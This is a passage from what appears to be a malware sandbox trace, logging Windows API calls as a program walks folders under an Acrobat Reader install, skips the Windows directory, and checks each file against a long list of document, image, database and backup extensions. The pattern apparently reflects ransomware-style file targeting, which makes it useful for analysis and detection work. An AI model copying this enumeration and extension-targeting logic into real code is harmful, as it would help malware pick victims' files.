returned 4 [0273.082] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".chm") returned 4 [0273.082] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".cin") returned 4 [0273.082] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".class") returned 6 [0273.083] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0273.083] lstrlenW (lpString=".clx") returned 4 [0273.083] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0273.083] lstrlenW (lpString=".config") returned 7 [0273.083] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1 [0273.083] lstrlenW (lpString=".cpp") returned 4 [0273.083] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0273.083] lstrlenW (lpString=".cr2") returned 4 [0273.083] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0273.083] lstrlenW (lpString=".crt") returned 4 [0273.083] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0273.083] lstrlenW (lpString=".crw") returned 4 [0273.083] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0273.083] lstrlenW (lpString=".cs") returned 3 [0273.083] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0273.083] lstrlenW (lpString=".css") returned 4 [0273.083] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0273.083] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0273.083] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0273.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.083] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0273.084] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116 [0273.084] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 1 [0273.084] lstrlenW (lpString="js") returned 2 [0273.084] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0273.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.084] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116 [0273.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0273.085] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.085] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0273.085] lstrlenW (lpString="plugin.js") returned 9 [0273.085] lstrlenW (lpString=".1cd") returned 4 [0273.085] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0273.085] lstrlenW (lpString=".3ds") returned 4 [0273.085] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0273.085] lstrlenW (lpString=".3fr") returned 4 [0273.085] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0273.085] lstrlenW (lpString=".3g2") returned 4 [0273.085] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0273.085] lstrlenW (lpString=".3gp") returned 4 [0273.085] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".7z") returned 3 [0273.086] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.086] lstrlenW (lpString=".accda") returned 6 [0273.086] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".accdb") returned 6 [0273.086] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".accdc") returned 6 [0273.086] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".accde") returned 6 [0273.086] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".accdt") returned 6 [0273.086] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".accdw") returned 6 [0273.086] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0273.086] lstrlenW (lpString=".adb") returned 4 [0273.086] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".adp") returned 4 [0273.086] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".ai") returned 3 [0273.086] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.086] lstrlenW (lpString=".ai3") returned 4 [0273.086] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".ai4") returned 4 [0273.086] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".ai5") returned 4 [0273.086] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".ai6") returned 4 [0273.086] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0273.086] lstrlenW (lpString=".ai7") returned 4 [0273.087] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".ai8") returned 4 [0273.087] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".anim") returned 5 [0273.087] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0273.087] lstrlenW (lpString=".arw") returned 4 [0273.087] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".as") returned 3 [0273.087] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.087] lstrlenW (lpString=".asa") returned 4 [0273.087] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".asc") returned 4 [0273.087] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".ascx") returned 5 [0273.087] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0273.087] lstrlenW (lpString=".asm") returned 4 [0273.087] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".asmx") returned 5 [0273.087] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0273.087] lstrlenW (lpString=".asp") returned 4 [0273.087] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".aspx") returned 5 [0273.087] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0273.087] lstrlenW (lpString=".asr") returned 4 [0273.087] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0273.087] lstrlenW (lpString=".asx") returned 4 [0273.087] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".avi") returned 4 [0273.088] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".avs") returned 4 [0273.088] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".backup") returned 7 [0273.088] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0273.088] lstrlenW (lpString=".bak") returned 4 [0273.088] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".bay") returned 4 [0273.088] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".bd") returned 3 [0273.088] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.088] lstrlenW (lpString=".bin") returned 4 [0273.088] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".bmp") returned 4 [0273.088] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".bz2") returned 4 [0273.088] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".c") returned 2 [0273.088] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.088] lstrlenW (lpString=".cdr") returned 4 [0273.088] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".cer") returned 4 [0273.088] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0273.088] lstrlenW (lpString=".cf") returned 3 [0273.088] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.089] lstrlenW (lpString=".cfc") returned 4 [0273.089] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".cfm") returned 4 [0273.089] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".cfml") returned 5 [0273.089] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0273.089] lstrlenW (lpString=".cfu") returned 4 [0273.089] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".chm") returned 4 [0273.089] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".cin") returned 4 [0273.089] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".class") returned 6 [0273.089] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0273.089] lstrlenW (lpString=".clx") returned 4 [0273.089] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".config") returned 7 [0273.089] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0273.089] lstrlenW (lpString=".cpp") returned 4 [0273.089] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".cr2") returned 4 [0273.089] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".crt") returned 4 [0273.089] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".crw") returned 4 [0273.089] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0273.089] lstrlenW (lpString=".cs") returned 3 [0273.089] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.090] lstrlenW (lpString=".css") returned 4 [0273.090] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".csv") returned 4 [0273.090] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".cub") returned 4 [0273.090] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dae") returned 4 [0273.090] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dat") returned 4 [0273.090] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".db") returned 3 [0273.090] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.090] lstrlenW (lpString=".dbf") returned 4 [0273.090] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dbx") returned 4 [0273.090] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dc3") returned 4 [0273.090] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dcm") returned 4 [0273.090] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dcr") returned 4 [0273.090] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".der") returned 4 [0273.090] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dib") returned 4 [0273.090] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dic") returned 4 [0273.090] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0273.090] lstrlenW (lpString=".dif") returned 4 [0273.091] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".divx") returned 5 [0273.091] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".djvu") returned 5 [0273.091] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".dng") returned 4 [0273.091] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".doc") returned 4 [0273.091] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".docm") returned 5 [0273.091] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".docx") returned 5 [0273.091] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".dot") returned 4 [0273.091] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".dotm") returned 5 [0273.091] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".dotx") returned 5 [0273.091] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0273.091] lstrlenW (lpString=".dpx") returned 4 [0273.091] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".dqy") returned 4 [0273.091] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".dsn") returned 4 [0273.091] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0273.091] lstrlenW (lpString=".dt") returned 3 [0273.091] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.091] lstrlenW (lpString=".dtd") returned 4 [0273.091] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0273.092] lstrlenW (lpString=".dwg") returned 4 [0273.092] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0273.092] lstrlenW (lpString=".dwt") returned 4 [0273.092] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0273.092] lstrlenW (lpString=".dx") returned 3 [0273.092] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.092] lstrlenW (lpString=".dxf") returned 4 [0273.092] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0273.092] lstrlenW (lpString=".edml") returned 5 [0273.280] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0273.280] lstrlenW (lpString=".efd") returned 4 [0273.280] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".elf") returned 4 [0273.280] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".emf") returned 4 [0273.280] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".emz") returned 4 [0273.280] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".epf") returned 4 [0273.280] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".eps") returned 4 [0273.280] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0273.280] lstrlenW (lpString=".epsf") returned 5 [0273.280] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0273.280] lstrlenW (lpString=".epsp") returned 5 [0273.280] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0273.281] lstrlenW (lpString=".erf") returned 4 [0273.281] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".exr") returned 4 [0273.281] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".f4v") returned 4 [0273.281] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".fido") returned 5 [0273.281] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0273.281] lstrlenW (lpString=".flm") returned 4 [0273.281] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".flv") returned 4 [0273.281] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".frm") returned 4 [0273.281] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".fxg") returned 4 [0273.281] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".geo") returned 4 [0273.281] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".gif") returned 4 [0273.281] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".grs") returned 4 [0273.281] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".gz") returned 3 [0273.281] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.281] lstrlenW (lpString=".h") returned 2 [0273.281] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.281] lstrlenW (lpString=".hdr") returned 4 [0273.281] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".hpp") returned 4 [0273.281] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0273.281] lstrlenW (lpString=".hta") returned 4 [0273.281] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".htc") returned 4 [0273.282] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".htm") returned 4 [0273.282] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".html") returned 5 [0273.282] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0273.282] lstrlenW (lpString=".icb") returned 4 [0273.282] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".ics") returned 4 [0273.282] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".iff") returned 4 [0273.282] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".inc") returned 4 [0273.282] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".indd") returned 5 [0273.282] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1 [0273.282] lstrlenW (lpString=".ini") returned 4 [0273.282] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".iqy") returned 4 [0273.282] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".j2c") returned 4 [0273.282] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".j2k") returned 4 [0273.282] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".java") returned 5 [0273.282] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1 [0273.282] lstrlenW (lpString=".jp2") returned 4 [0273.282] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1 [0273.282] lstrlenW (lpString=".jpc") returned 4 [0273.282] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1 [0273.283] lstrlenW (lpString=".jpe") returned 4 [0273.283] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1 [0273.283] lstrlenW (lpString=".jpeg") returned 5 [0273.283] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1 [0273.283] lstrlenW (lpString=".jpf") returned 4 [0273.283] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1 [0273.283] lstrlenW (lpString=".jpg") returned 4 [0273.283] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0273.283] lstrlenW (lpString=".jpx") returned 4 [0273.283] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1 [0273.283] lstrlenW (lpString=".js") returned 3 [0273.283] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.283] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0273.283] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0273.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.283] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0273.283] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0273.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0273.283] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0273.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100 [0273.284] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 1 [0273.284] lstrlenW (lpString="aicuc") returned 5 [0273.284] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="aicuc") returned 1 [0273.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0273.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100 [0273.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0273.288] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.288] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0273.288] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104 [0273.288] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 1 [0273.288] lstrlenW (lpString="css") returned 3 [0273.288] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0273.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.288] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104 [0273.288] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 